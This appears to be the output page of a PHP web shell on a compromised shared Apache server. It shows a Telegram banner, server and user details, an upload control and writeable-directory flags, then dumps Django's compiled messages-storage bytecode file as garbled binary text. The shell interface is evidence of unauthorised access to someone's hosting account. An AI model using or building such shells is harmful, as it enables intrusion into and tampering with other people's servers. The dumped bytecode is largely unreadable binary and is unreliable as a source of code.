https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/messages/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/messages/storage/__pycache__/base.cpython-310.pyc
o

3�a+�@sDddlmZddlmZmZe��ZGdd�d�ZGdd�d�ZdS)�)�settings)�	constants�utilsc@sJeZdZdZddd�Zdd�Zdd�Zd	d
�Zedd��Z	ed
d��Z
dS)�Messagez�
    Represent an actual message that can be stored in any of the supported
    storage classes (typically session- or cookie-based) and rendered in a view
    or template.
    NcCst|�|_||_||_dS�N)�int�level�message�
extra_tags��selfrr	r
�r
�F/usr/lib/python3/dist-packages/django/contrib/messages/storage/base.py�__init__s

zMessage.__init__cCs0t|j�|_|jdurt|j�|_dSd|_dS)z�
        Prepare the message for serialization by forcing the ``message``
        and ``extra_tags`` to str in case they are lazy translations.
        N)�strr	r
�rr
r
r�_prepares$zMessage._preparecCs&t|t�stS|j|jko|j|jkSr)�
isinstancer�NotImplementedrr	)r�otherr
r
r�__eq__s
zMessage.__eq__cCs
t|j�Sr)rr	rr
r
r�__str__ s
zMessage.__str__cCsd�dd�|j|jfD��S)N� css�|]}|r|VqdSrr
)�.0�tagr
r
r�	<genexpr>%s�zMessage.tags.<locals>.<genexpr>)�joinr
�	level_tagrr
r
r�tags#szMessage.tagscCst�|jd�S)N�)�
LEVEL_TAGS�getrrr
r
rr'szMessage.level_tagr)�__name__�
__module__�__qualname__�__doc__rrrr�propertyrrr
r
r
rrs

rcs�eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zed
d��Z	dd
�Z
dd�Zdd�Zdd�Z
ddd�Zdd�Zddd�Zeeee�Z�ZS)�BaseStoragez�
    This is the base backend for temporary message storage.

    This is not a complete class; to be a usable storage backend, it must be
    subclassed and the two methods ``_get`` and ``_store`` overridden.
    cs.||_g|_d|_d|_t�j|i|��dS)NF)�request�_queued_messages�used�	added_new�superr)rr(�args�kwargs��	__class__r
rr4s
zBaseStorage.__init__cCst|j�t|j�Sr)�len�_loaded_messagesr)rr
r
r�__len__;�zBaseStorage.__len__cCs*d|_|jr|j�|j�g|_t|j�S)NT)r*r)r2�extend�iterrr
r
r�__iter__>s

zBaseStorage.__iter__cCs||jvp	||jvSr)r2r))r�itemr
r
r�__contains__Er4zBaseStorage.__contains__cCs&t|d�s|��\}}|pg|_|jS)zs
        Return a list of loaded messages, retrieving them first if they have
        not been loaded yet.
        �_loaded_data)�hasattr�_getr:)r�messages�
all_retrievedr
r
rr2Hs

zBaseStorage._loaded_messagescO�td��)a
        Retrieve a list of stored messages. Return a tuple of the messages
        and a flag indicating whether or not all the messages originally
        intended to be stored in this storage were, in fact, stored and
        retrieved; e.g., ``(messages, all_retrieved)``.

        **This method must be implemented by a subclass.**

        If it is possible to tell if the backend was not used (as opposed to
        just containing no messages) then ``None`` should be returned in
        place of ``messages``.
        z6subclasses of BaseStorage must provide a _get() method��NotImplementedError)rr-r.r
r
rr<Ss
zBaseStorage._getcOr?)z�
        Store a list of messages and return a list of any messages which could
        not be stored.

        One type of object must be able to be stored, ``Message``.

        **This method must be implemented by a subclass.**
        z8subclasses of BaseStorage must provide a _store() methodr@)rr=�responser-r.r
r
r�_storebs	zBaseStorage._storecCs|D]}|��qdS)z9
        Prepare a list of messages for storage.
        N)r)rr=r	r
r
r�_prepare_messagesms
�zBaseStorage._prepare_messagescCsB|�|j�|jr|�|j|�S|jr|j|j}|�||�SdS)z�
        Store all unread messages.

        If the backend has yet to be iterated, store previously stored messages
        again. Otherwise, only store messages added after the last iteration.
        N)rDr)r*rCr+r2)rrBr=r
r
r�updatets�zBaseStorage.updatercCsB|sdSt|�}||jkrdSd|_t|||d�}|j�|�dS)z�
        Queue a message to be stored.

        The message is only queued if it contained something and its level is
        not less than the recording level (``self.level``).
        NT)r
)rrr+rr)�appendrr
r
r�add�s
zBaseStorage.addcCs t|d�s
ttdtj�|_|jS)z�
        Return the minimum recorded level.

        The default level is the ``MESSAGE_LEVEL`` setting. If this is
        not found, the ``INFO`` level is used.
        �_level�
MESSAGE_LEVEL)r;�getattrrr�INFOrHrr
r
r�
_get_level�s
zBaseStorage._get_levelNcCs(|dur
t|d�r
|`dSt|�|_dS)z�
        Set a custom minimum recorded level.

        If set to ``None``, the default level will be used (see the
        ``_get_level`` method).
        NrH)r;rHr)r�valuer
r
r�
_set_level�szBaseStorage._set_level)rr)r"r#r$r%rr3r7r9r&r2r<rCrDrErGrLrNr�
__classcell__r
r
r/rr',s 



r'N)	�django.confr�django.contrib.messagesrr�get_level_tagsr rr'r
r
r
r�<module>s
%

https://t.me/RX1948 - 2025